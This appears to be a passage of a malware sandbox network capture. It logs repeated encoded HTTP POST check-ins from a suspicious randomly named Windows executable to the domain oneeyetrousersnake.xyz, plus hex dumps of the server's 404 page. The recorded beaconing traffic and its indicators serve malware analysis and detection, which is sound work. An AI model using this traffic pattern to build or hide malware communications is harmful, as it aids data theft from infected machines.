20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 74 [TRUNCATED] Data Ascii: 200<!doctype html><html class="no-js" lang=""><head> <meta charset="utf-8"> <meta http-equiv="x-ua-compatible" content="ie=edge"> <title>Website not found</title> <meta name="description" content=""> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <link rel="icon" type="image/png" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEAAAABACAYAAACqaXHeAAAAAXNSR0IArs4c6QAACHhJREFUeAHdW2lsHEUWrqqZsT3j2FmbHBxBXsyGsAsCCRIRgjicA2JHRAtEQtHCj2i1ihA3FBASgnCEOFnEj9jhNAgpIC7xA6RoEYeIiB0WEgdLiYSSrATi2JBsIBAMPmIndjzjeDxV+73xtNUz7unpqukZj+gfrup6r973va+rq2q625wV+Ljw0KuRod5Ti5RSSxRnixRjczhjNYCtUUxRyTjjgygGYRuErZcrdpBzfqB6znkHuxeuj5JPoQ7g+X9ce+jV0H/7BtZIJe9nTF3HFAsaoXA2Dnm+EFxsv3x27XuHF66PG8Vx6eSrAH/sfKuiL9r9EK7k/bi6F7ngapswSn4B2e0X8Kq2Y00PnNMOkKWDbwJUdTy9ICHj/0LyV2fB8qUZhL8MiNDdw40bj/gRUPgRpLJ929/G1fjhQidPXAmDsAjTD+55j4BIR+tqJeWHIOOLmBpJSS7EHdHG5p0afaa45iVAZUfLVVKp/bgsM6ZELkYDZ2cF5zeMNG7+yhTO+KrNO9AWllLtnLbkKWMITxyIS9EFOHU6uh6gdabAPvarS3 [TRUNCATED]
Jan 10, 2025 23:24:38.406785011 CET	1289	IN	Data Raw: 79 57 37 55 51 69 69 69 73 77 6b 33 62 51 47 51 54 30 6e 4d 2f 46 6c 30 31 65 61 6d 4c 59 42 53 38 72 77 73 34 4e 50 65 62 4d 4a 4e 57 77 43 73 75 62 4f 6d 50 64 4d 73 42 45 79 34 61 51 73 41 37 4a 49 64 41 53 62 63 54 41 52 49 5a 4c 6b 41 70 64 Data Ascii: yW7UQiiiswk3bQGQT0nM/Fl01eamLYBS8rws4NPebMJNWwCsubOmPdMsBEy4aQsA7JIdASbcTARIZLkApdCszU1fAMV6SyFTRw4G3PQFYKzPEbw0GrW5aQuAHZc2SLG0MeGmLQAeQJTsLWDCTVsAxaQvDyMLMSpMuGkLUB4KduFZvfZsW4iE02PyxAS39NZcZ9oCDK54/Azn7D+5AhfbTpyImy6utgAEgMlmry5Qof1NORkJIJg
Jan 10, 2025 23:24:38.406851053 CET	1289	IN	Data Raw: 72 6e 48 6a 55 64 4f 41 64 77 36 32 32 30 7a 50 39 74 57 50 33 59 75 63 52 52 74 61 62 65 56 33 53 65 74 7a 74 6d 2b 57 4e 4f 57 42 6d 6f 4c 74 32 2f 74 42 4f 6c 62 30 75 7a 5a 54 32 52 5a 65 57 44 2b 6d 65 57 62 61 50 4f 57 39 2b 47 4e 72 41 65 Data Ascii: rnHjUdOAdw6220zP9tWP3YucRRtabeV3Setztm+WNOWBmoLt2/tBOlb0uzZT2RZeWD+meWbaPOW9+GNrAeY+JjcDDfP8fAYe5cVFu/02q26h1KksDy45nbxTNgtVHK+YGydm0+mjYcCkwLwYFDr2SJuwXWEmRnT5DxvAZJfasvE694mpUmKXdZGhFpS9a5Ja64K/XADZj5fiVsQeQnwpFLi1GD0TVwRrX0D5+IFi4BVOrVZNqeS
Jan 10, 2025 23:24:38.406894922 CET	1289	IN	Data Raw: 70 42 7a 66 71 42 36 7a 6e 6b 48 75 78 65 75 6a 35 4a 50 6f 51 37 67 2b 58 39 63 65 2b 6a 56 30 48 2f 37 42 74 5a 49 4a 65 39 6e 54 46 33 48 46 41 73 61 6f 58 41 32 44 6e 6d 2b 45 46 78 73 76 33 78 32 37 58 75 48 46 36 36 50 47 38 56 78 36 65 53 Data Ascii: pBzfqB6znkHuxeuj5JPoQ7g+X9ce+jV0H/7BtZIJe9nTF3HFAsaoXA2Dnm+EFxsv3x27XuHF66PG8Vx6eSrAH/sfKuiL9r9EK7k/bi6F7ngapswSn4B2e0X8Kq2Y00PnNMOkKWDbwJUdTy9ICHj/0LyV2fB8qUZhL8MiNDdw40bj/gRUPgRpLJ929/G1fjhQidPXAmDsAjTD+55j4BIR+tqJeWHIOOLmBpJSS7EHdHG5p0afaa4
Jan 10, 2025 23:24:38.406990051 CET	1289	IN	Data Raw: 2b 48 63 75 46 30 4a 5a 37 47 44 53 63 6b 42 48 34 4e 48 75 4a 4d 6e 55 51 5a 42 4e 64 4c 77 66 56 4b 70 36 74 75 36 2f 73 44 6c 74 44 36 69 51 38 59 4f 58 73 66 7a 6f 2f 59 6a 4f 6c 56 75 69 57 59 57 6f 7a 47 78 51 44 41 67 62 4e 6b 57 52 70 2f Data Ascii: +HcuF0JZ7GDSckBH4NHuJMnUQZBNdLwfVKp6tu6/sDltD6iQ8YOXsfzo/YjOlVuiWYWozGxQDAgbNkWRp/UhdimcXJGzv+HrFPrgIBJt4qjX19sQTliUBZEDmnBMB6+i2UmPZtbbHSp1zPrtj43aQAVJkRLPsn7qWDxSIxXTiUI+Vq4ScnQeuE1sXxRHQv7qWCfu5q4RW7RLJfBgORpUMrNwxY2BM7wdQZGWprItdzwbdbDr+Xk
Jan 10, 2025 23:24:38.407146931 CET	1289	IN	Data Raw: 48 72 38 45 6a 54 4b 67 39 77 55 44 5a 70 30 4f 33 50 75 62 58 4a 47 62 42 4a 30 74 36 72 7a 65 65 47 46 76 42 4a 46 38 47 7a 41 58 41 6e 49 55 39 49 5a 5a 69 64 51 35 63 2b 76 46 55 2b 47 76 46 2b 56 35 52 45 64 6f 78 30 76 44 59 62 32 6d 64 73 Data Ascii: Hr8EjTKg9wUDZp0O3PubXJGbBJ0t6rzeeGFvBJF8GzAXAnIU9IZZidQ5c+vFU+GvF+V5REdox0vDYb2mds5z8H75k4O/8/I4PAAAAAElFTkSuQmCC"> <link rel="icon" type="image/x-icon" href="data:image/x-icon;base64,AAABAAEAEBAAAAEAIABoBAAAFgAAACgAAAAQAAAAIAAAAAEAIAAAAA
Jan 10, 2025 23:24:38.407212019 CET	1289	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 42 69 6a 77 78 33 61 4a 55 51 2f 32 53 50 45 50 39 6b 6a 78 44 2f 5a 49 38 51 2f 32 53 50 45 50 39 6b 6a 78 44 2f 5a 49 38 51 2f 32 69 56 45 50 39 6c 6a 51 35 2b 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAABijwx3aJUQ/2SPEP9kjxD/ZI8Q/2SPEP9kjxD/ZI8Q/2iVEP9ljQ5+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAY4gAKWWRDe1mkxH/ZI8Q/2SPEP9kjxD/ZI8Q/2aTEf9mkg7wYIgLLQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABmkwxVZZAO42eTEf9mkg//ZpEP/2eUEf9mkhDkY40FWgA
Jan 10, 2025 23:24:38.407370090 CET	1289	IN	Data Raw: 46 57 71 52 6d 69 4e 51 56 42 77 34 51 45 56 42 52 45 42 6b 4b 31 4e 41 78 70 53 70 34 69 59 6e 4f 58 61 75 58 57 72 61 30 75 6f 36 47 2f 4f 73 62 46 79 70 62 66 73 2f 79 61 35 72 7a 48 48 6c 32 54 53 6e 30 75 58 33 74 30 33 70 75 4e 65 74 76 65 Data Ascii: FWqRmiNQVBw4QEVBREBkK1NAxpSp4iYnOXauXWra0uo6G/OsbFypbfs/ya5rzHHl2TSn0uX3t03puNetve3hGHLdU8727v8v5rGxeXbhgMOMbSYwgQkwIGAQ0AQpt0Sru9VqhRaSHIjX37D3WvghhADC+Akz66b2f+/U/o7tLMy1No8LyAE8KVFmNLJlR3WdjdqqZZ/j7vqB3P5J2z+mYIE2dpLyUgAFD4A+31NpuR/tJc3/BpR
Jan 10, 2025 23:24:38.407485962 CET	1289	IN	Data Raw: 6f 32 59 4d 62 5a 67 71 54 59 6e 54 71 43 65 63 6b 6c 71 32 48 75 58 39 6c 4c 72 6e 4e 59 65 62 34 56 66 41 50 71 74 6f 44 42 32 48 71 31 32 62 4b 2f 4c 74 65 61 55 57 6a 55 7a 6b 72 79 72 74 61 38 56 2f 39 53 47 45 6e 59 76 38 4f 50 51 55 42 36 Data Ascii: o2YMbZgqTYnTqCecklq2HuX9lLrnNYeb4VfAPqtoDB2Hq12bK/LteaUWjUzkryrta8V/9SGEnYv8OPQUB6IGiHhefKm+7C7JxMYYI5blOUj66IuwFSC///2vrPv3p3SaF0hJMJFSiTc+ZO31pz0oRZVumx9iEJiLHFYlG1OdCGrRBmEUcD//99reva596W8Tz9IwRAHqHaKDWhpQBVplg/BCAyB7cDGsOuVp0Wa2K4C9uDfdiD/
Jan 10, 2025 23:24:38.407605886 CET	1289	IN	Data Raw: 38 67 46 71 72 32 74 77 72 44 5a 6f 72 4f 72 6d 6b 48 73 59 4b 42 51 47 46 77 52 4b 48 68 57 4e 49 53 30 6f 6f 31 47 37 62 73 6c 44 31 4b 35 56 56 38 30 6f 31 4b 78 57 6b 34 6a 2b 5a 59 5a 4c 4e 61 47 57 30 6c 68 56 57 58 53 71 4d 7a 6d 43 77 32 Data Ascii: 8gFqr2twrDZorOrmkHsYKBQGFwRKHhWNIS0oo1G7bslD1K5VV80o1KxWk4j+ZYZLNaGW0lhVWXSqMzmCw2h8sTCEViycf6d5C9WFNYBZIBioEf/Wtsj3lxi8LzExRVRa3UR+KpvpsUAfUYmCa4PnaArJmDqIbiFI5IJ0+XdJdeDJfgU/pwD0fC/usmPrdHvBMSkZKRU9RBz9KLGBiZmFlYk43HzsHJNfyii/WjFFjwKLzw8QuY6
Jan 10, 2025 23:24:38.579267025 CET	1289	IN	Data Raw: 64 31 32 67 65 4e 34 6f 59 49 51 6c 53 4d 6e 4b 4b 44 67 53 45 49 4b 73 6b 43 6f 39 68 56 4e 70 57 56 53 4f 4c 79 51 49 32 69 4a 4f 67 31 44 41 44 78 5a 52 69 57 57 71 37 38 30 36 6d 43 6d 6f 4f 34 6a 69 4f 34 30 73 4f 56 42 64 35 4c 49 55 56 77 Data Ascii: d12geN4oYIQlSMnKKDgSEIKskCo9hVNpWVSOLyQI2iJOg1DADxZRiWWq7806mCmoO4jiO40sOVBd5LIUVwf5hiyg0xtcT/JiGMI+6iCP5SkeN9As5QUsBkHyu3p0U+rSKbEhTm1zUWogNOE2DhxB5SGTkqFMMUcloQe/1OahOui50n9zDd6dFWzEPHFWn4yU+wdRtQ5UG08lNJDGPhJSMnKKAqPFV/3ud7XH1PatQiZqGli7pUQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.11.20	49799	63.250.43.134	80	560	C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:24:40.950822115 CET	860	OUT	POST /ior4/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.oneeyetrousersnake.xyz Origin: http://www.oneeyetrousersnake.xyz Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 225 Cache-Control: max-age=0 Referer: http://www.oneeyetrousersnake.xyz/ior4/ User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 6b 52 38 58 62 42 32 50 3d 6e 50 66 55 6d 73 43 76 46 56 5a 72 2b 43 77 48 42 51 48 36 67 6b 58 55 31 70 72 35 6e 7a 49 41 4c 74 57 77 2f 42 43 52 52 6f 6a 63 55 37 32 4a 79 31 66 72 45 65 61 5a 68 5a 6b 49 52 78 68 4e 66 33 2b 66 76 31 30 34 79 4c 31 53 51 41 38 56 6d 4e 49 50 56 57 47 6b 75 44 6c 61 31 4a 74 48 7a 4e 67 37 6b 41 59 66 79 73 57 46 4f 68 41 61 33 66 6b 30 35 66 62 59 63 41 50 4d 70 76 68 62 2f 46 33 68 44 33 70 77 64 63 6c 49 4d 57 76 2b 63 58 48 46 38 52 7a 66 67 55 73 68 48 33 78 47 36 69 36 4c 66 32 63 30 38 2f 62 6e 49 6c 72 78 6e 46 4c 44 61 43 46 65 41 63 62 30 5a 75 62 6b 36 72 38 74 4e 35 6a 33 51 4b 37 65 67 70 71 4e 48 65 76 38 77 55 55 3d Data Ascii: kR8XbB2P=nPfUmsCvFVZr+CwHBQH6gkXU1pr5nzIALtWw/BCRRojcU72Jy1frEeaZhZkIRxhNf3+fv104yL1SQA8VmNIPVWGkuDla1JtHzNg7kAYfysWFOhAa3fk05fbYcAPMpvhb/F3hD3pwdclIMWv+cXHF8RzfgUshH3xG6i6Lf2c08/bnIlrxnFLDaCFeAcb0Zubk6r8tN5j3QK7egpqNHev8wUU=
Jan 10, 2025 23:24:41.404319048 CET	860	OUT	POST /ior4/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.oneeyetrousersnake.xyz Origin: http://www.oneeyetrousersnake.xyz Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 225 Cache-Control: max-age=0 Referer: http://www.oneeyetrousersnake.xyz/ior4/ User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 6b 52 38 58 62 42 32 50 3d 6e 50 66 55 6d 73 43 76 46 56 5a 72 2b 43 77 48 42 51 48 36 67 6b 58 55 31 70 72 35 6e 7a 49 41 4c 74 57 77 2f 42 43 52 52 6f 6a 63 55 37 32 4a 79 31 66 72 45 65 61 5a 68 5a 6b 49 52 78 68 4e 66 33 2b 66 76 31 30 34 79 4c 31 53 51 41 38 56 6d 4e 49 50 56 57 47 6b 75 44 6c 61 31 4a 74 48 7a 4e 67 37 6b 41 59 66 79 73 57 46 4f 68 41 61 33 66 6b 30 35 66 62 59 63 41 50 4d 70 76 68 62 2f 46 33 68 44 33 70 77 64 63 6c 49 4d 57 76 2b 63 58 48 46 38 52 7a 66 67 55 73 68 48 33 78 47 36 69 36 4c 66 32 63 30 38 2f 62 6e 49 6c 72 78 6e 46 4c 44 61 43 46 65 41 63 62 30 5a 75 62 6b 36 72 38 74 4e 35 6a 33 51 4b 37 65 67 70 71 4e 48 65 76 38 77 55 55 3d Data Ascii: kR8XbB2P=nPfUmsCvFVZr+CwHBQH6gkXU1pr5nzIALtWw/BCRRojcU72Jy1frEeaZhZkIRxhNf3+fv104yL1SQA8VmNIPVWGkuDla1JtHzNg7kAYfysWFOhAa3fk05fbYcAPMpvhb/F3hD3pwdclIMWv+cXHF8RzfgUshH3xG6i6Lf2c08/bnIlrxnFLDaCFeAcb0Zubk6r8tN5j3QK7egpqNHev8wUU=
Jan 10, 2025 23:24:41.919750929 CET	860	OUT	POST /ior4/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.oneeyetrousersnake.xyz Origin: http://www.oneeyetrousersnake.xyz Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 225 Cache-Control: max-age=0 Referer: http://www.oneeyetrousersnake.xyz/ior4/ User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 6b 52 38 58 62 42 32 50 3d 6e 50 66 55 6d 73 43 76 46 56 5a 72 2b 43 77 48 42 51 48 36 67 6b 58 55 31 70 72 35 6e 7a 49 41 4c 74 57 77 2f 42 43 52 52 6f 6a 63 55 37 32 4a 79 31 66 72 45 65 61 5a 68 5a 6b 49 52 78 68 4e 66 33 2b 66 76 31 30 34 79 4c 31 53 51 41 38 56 6d 4e 49 50 56 57 47 6b 75 44 6c 61 31 4a 74 48 7a 4e 67 37 6b 41 59 66 79 73 57 46 4f 68 41 61 33 66 6b 30 35 66 62 59 63 41 50 4d 70 76 68 62 2f 46 33 68 44 33 70 77 64 63 6c 49 4d 57 76 2b 63 58 48 46 38 52 7a 66 67 55 73 68 48 33 78 47 36 69 36 4c 66 32 63 30 38 2f 62 6e 49 6c 72 78 6e 46 4c 44 61 43 46 65 41 63 62 30 5a 75 62 6b 36 72 38 74 4e 35 6a 33 51 4b 37 65 67 70 71 4e 48 65 76 38 77 55 55 3d Data Ascii: kR8XbB2P=nPfUmsCvFVZr+CwHBQH6gkXU1pr5nzIALtWw/BCRRojcU72Jy1frEeaZhZkIRxhNf3+fv104yL1SQA8VmNIPVWGkuDla1JtHzNg7kAYfysWFOhAa3fk05fbYcAPMpvhb/F3hD3pwdclIMWv+cXHF8RzfgUshH3xG6i6Lf2c08/bnIlrxnFLDaCFeAcb0Zubk6r8tN5j3QK7egpqNHev8wUU=
Jan 10, 2025 23:24:42.935123920 CET	860	OUT	POST /ior4/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.oneeyetrousersnake.xyz Origin: http://www.oneeyetrousersnake.xyz Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 225 Cache-Control: max-age=0 Referer: http://www.oneeyetrousersnake.xyz/ior4/ User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 6b 52 38 58 62 42 32 50 3d 6e 50 66 55 6d 73 43 76 46 56 5a 72 2b 43 77 48 42 51 48 36 67 6b 58 55 31 70 72 35 6e 7a 49 41 4c 74 57 77 2f 42 43 52 52 6f 6a 63 55 37 32 4a 79 31 66 72 45 65 61 5a 68 5a 6b 49 52 78 68 4e 66 33 2b 66 76 31 30 34 79 4c 31 53 51 41 38 56 6d 4e 49 50 56 57 47 6b 75 44 6c 61 31 4a 74 48 7a 4e 67 37 6b 41 59 66 79 73 57 46 4f 68 41 61 33 66 6b 30 35 66 62 59 63 41 50 4d 70 76 68 62 2f 46 33 68 44 33 70 77 64 63 6c 49 4d 57 76 2b 63 58 48 46 38 52 7a 66 67 55 73 68 48 33 78 47 36 69 36 4c 66 32 63 30 38 2f 62 6e 49 6c 72 78 6e 46 4c 44 61 43 46 65 41 63 62 30 5a 75 62 6b 36 72 38 74 4e 35 6a 33 51 4b 37 65 67 70 71 4e 48 65 76 38 77 55 55 3d Data Ascii: kR8XbB2P=nPfUmsCvFVZr+CwHBQH6gkXU1pr5nzIALtWw/BCRRojcU72Jy1frEeaZhZkIRxhNf3+fv104yL1SQA8VmNIPVWGkuDla1JtHzNg7kAYfysWFOhAa3fk05fbYcAPMpvhb/F3hD3pwdclIMWv+cXHF8RzfgUshH3xG6i6Lf2c08/bnIlrxnFLDaCFeAcb0Zubk6r8tN5j3QK7egpqNHev8wUU=
Jan 10, 2025 23:24:43.103315115 CET	1289	IN	HTTP/1.1 404 Not Found content-type: text/html date: Fri, 10 Jan 2025 22:24:43 GMT transfer-encoding: chunked connection: close Data Raw: 31 31 46 41 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 22 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 69 65 3d 65 64 67 65 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 57 65 62 73 69 74 65 20 6e 6f 74 20 66 6f 75 6e 64 e2 80 a6 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 [TRUNCATED] Data Ascii: 11FA<!doctype html><html class="no-js" lang=""><head> <meta charset="utf-8"> <meta http-equiv="x-ua-compatible" content="ie=edge"> <title>Website not found</title> <meta name="description" content=""> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <link rel="icon" type="image/png" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEAAAABACAYAAACqaXHeAAAAAXNSR0IArs4c6QAACHhJREFUeAHdW2lsHEUWrqqZsT3j2FmbHBxBXsyGsAsCCRIRgjicA2JHRAtEQtHCj2i1ihASgnCEOFnEj9jhNAgpIC7xA6RoEYeIiB0WEgdLiYSSrATi2JBsIBAMPmIndjzjeDxV+73xtNUz7unpqukZj+gfrup6r973va+rq2q625wV+Ljw0KuRod5Ti5RSSxRnixRjczhjNYCtUUxRyTjjgygGYRuErZcrdpBzfqB6znkHuxeuj5JPoQ7g+X9ce+jV0H/7BtZIJe9nTF3HFAsaoXA2Dnm+EFxsv3x27XuHF66PG8Vx6eSrAH/sfKuiL9r9EK7k/bi6F7ngapswSn4B2e0X8Kq2Y00PnNMOkKWDbwJUdTy9ICHj/0LyV2fB8qUZhL8MiNDdw40bj/gRUPgRpLJ929/G1fjhQidPXAmDsAjTD+55j4BIR+tqJeWHIOOLmBpJSS7EHdHG5p0afaa45iVAZUfLVVKp/bgsM6ZELkYDZ2cF5zeMNG7+yhTO+KrNO9AWllLtnLbkKWMITxyIS9EFOHU6uh6gdabAPvarS3ExCml0C [TRUNCATED]
Jan 10, 2025 23:24:43.103390932 CET	1289	IN	Data Raw: 69 73 77 6b 33 62 51 47 51 54 30 6e 4d 2f 46 6c 30 31 65 61 6d 4c 59 42 53 38 72 77 73 34 4e 50 65 62 4d 4a 4e 57 77 43 73 75 62 4f 6d 50 64 4d 73 42 45 79 34 61 51 73 41 37 4a 49 64 41 53 62 63 54 41 52 49 5a 4c 6b 41 70 64 43 73 7a 55 31 66 41 Data Ascii: iswk3bQGQT0nM/Fl01eamLYBS8rws4NPebMJNWwCsubOmPdMsBEy4aQsA7JIdASbcTARIZLkApdCszU1fAMV6SyFTRw4G3PQFYKzPEbw0GrW5aQuAHZc2SLG0MeGmLQAeQJTsLWDCTVsAxaQvDyMLMSpMuGkLUB4KduFZvfZsW4iE02PyxAS39NZcZ9oCDK54/Azn7D+5AhfbTpyImy6utgAEgMlmry5Qof1NORkJIJgoOQFMOR
Jan 10, 2025 23:24:43.103434086 CET	1289	IN	Data Raw: 41 64 77 36 32 32 30 7a 50 39 74 57 50 33 59 75 63 52 52 74 61 62 65 56 33 53 65 74 7a 74 6d 2b 57 4e 4f 57 42 6d 6f 4c 74 32 2f 74 42 4f 6c 62 30 75 7a 5a 54 32 52 5a 65 57 44 2b 6d 65 57 62 61 50 4f 57 39 2b 47 4e 72 41 65 59 2b 4a 6a 63 44 44 Data Ascii: Adw6220zP9tWP3YucRRtabeV3Setztm+WNOWBmoLt2/tBOlb0uzZT2RZeWD+meWbaPOW9+GNrAeY+JjcDDfP8fAYe5cVFu/02q26h1KksDy45nbxTNgtVHK+YGydm0+mjYcCkwLwYFDr2SJuwXWEmRnT5DxvAZJfasvE694mpUmKXdZGhFpS9a5Ja64K/XADZj5fiVsQeQnwpFLi1GD0TVwRrX0D5+IFi4BVOrVZNqeSMAmbODj
Jan 10, 2025 23:24:43.103530884 CET	1289	IN	Data Raw: 7a 6e 6b 48 75 78 65 75 6a 35 4a 50 6f 51 37 67 2b 58 39 63 65 2b 6a 56 30 48 2f 37 42 74 5a 49 4a 65 39 6e 54 46 33 48 46 41 73 61 6f 58 41 32 44 6e 6d 2b 45 46 78 73 76 33 78 32 37 58 75 48 46 36 36 50 47 38 56 78 36 65 53 72 41 48 2f 73 66 4b Data Ascii: znkHuxeuj5JPoQ7g+X9ce+jV0H/7BtZIJe9nTF3HFAsaoXA2Dnm+EFxsv3x27XuHF66PG8Vx6eSrAH/sfKuiL9r9EK7k/bi6F7ngapswSn4B2e0X8Kq2Y00PnNMOkKWDbwJUdTy9ICHj/0LyV2fB8qUZhL8MiNDdw40bj/gRUPgRpLJ929/G1fjhQidPXAmDsAjTD+55j4BIR+tqJeWHIOOLmBpJSS7EHdHG5p0afaa45iVAZUf
Jan 10, 2025 23:24:43.103687048 CET	1289	IN	Data Raw: 4a 2b 48 63 75 46 30 4a 5a 37 47 44 53 63 6b 42 48 34 4e 48 75 4a 4d 6e 55 51 5a 42 4e 64 4c 77 66 56 4b 70 36 74 75 36 2f 73 44 6c 74 44 36 69 51 38 59 4f 58 73 66 7a 6f 2f 59 6a 4f 6c 56 75 69 57 59 57 6f 7a 47 78 51 44 41 67 62 4e 6b 57 52 70 Data Ascii: J+HcuF0JZ7GDSckBH4NHuJMnUQZBNdLwfVKp6tu6/sDltD6iQ8YOXsfzo/YjOlVuiWYWozGxQDAgbNkWRp/UhdimcXJGzv+HrFPrgIBJt4qjX19sQTliUBZEDmnBMB6+i2UmPZtbbHSp1zPrtj43aQAVJkRLPsn7qWDxSIxXTiUI+Vq4ScnQeuE1sXxRHQv7qWCfu5q4RW7RLJfBgORpUMrNwxY2BM7wdQZGWprItdzwbdbDr+X
Jan 10, 2025 23:24:43.103759050 CET	1289	IN	Data Raw: 76 48 72 38 45 6a 54 4b 67 39 77 55 44 5a 70 30 4f 33 50 75 62 58 4a 47 62 42 4a 30 74 36 72 7a 65 65 47 46 76 42 4a 46 38 47 7a 41 58 41 6e 49 55 39 49 5a 5a 69 64 51 35 63 2b 76 46 55 2b 47 76 46 2b 56 35 52 45 64 6f 78 30 76 44 59 62 32 6d 64 Data Ascii: vHr8EjTKg9wUDZp0O3PubXJGbBJ0t6rzeeGFvBJF8GzAXAnIU9IZZidQ5c+vFU+GvF+V5REdox0vDYb2mds5z8H75k4O/8/I4PAAAAAElFTkSuQmCC"> <link rel="icon" type="image/x-icon" href="data:image/x-icon;base64,AAABAAEAEBAAAAEAIABoBAAAFgAAACgAAAAQAAAAIAAAAAEAIAAAA
Jan 10, 2025 23:24:43.103895903 CET	1289	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 42 69 6a 77 78 33 61 4a 55 51 2f 32 53 50 45 50 39 6b 6a 78 44 2f 5a 49 38 51 2f 32 53 50 45 50 39 6b 6a 78 44 2f 5a 49 38 51 2f 32 69 56 45 50 39 6c 6a 51 35 2b 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAABijwx3aJUQ/2SPEP9kjxD/ZI8Q/2SPEP9kjxD/ZI8Q/2iVEP9ljQ5+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAY4gAKWWRDe1mkxH/ZI8Q/2SPEP9kjxD/ZI8Q/2aTEf9mkg7wYIgLLQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABmkwxVZZAO42eTEf9mkg//ZpEP/2eUEf9mkhDkY40FWg
Jan 10, 2025 23:24:43.104017973 CET	1289	IN	Data Raw: 33 46 57 71 52 6d 69 4e 51 56 42 77 34 51 45 56 42 52 45 42 6b 4b 31 4e 41 78 70 53 70 34 69 59 6e 4f 58 61 75 58 57 72 61 30 75 6f 36 47 2f 4f 73 62 46 79 70 62 66 73 2f 79 61 35 72 7a 48 48 6c 32 54 53 6e 30 75 58 33 74 30 33 70 75 4e 65 74 76 Data Ascii: 3FWqRmiNQVBw4QEVBREBkK1NAxpSp4iYnOXauXWra0uo6G/OsbFypbfs/ya5rzHHl2TSn0uX3t03puNetve3hGHLdU8727v8v5rGxeXbhgMOMbSYwgQkwIGAQ0AQpt0Sru9VqhRaSHIjX37D3WvghhADC+Akz66b2f+/U/o7tLMy1No8LyAE8KVFmNLJlR3WdjdqqZZ/j7vqB3P5J2z+mYIE2dpLyUgAFD4A+31NpuR/tJc3/Bp
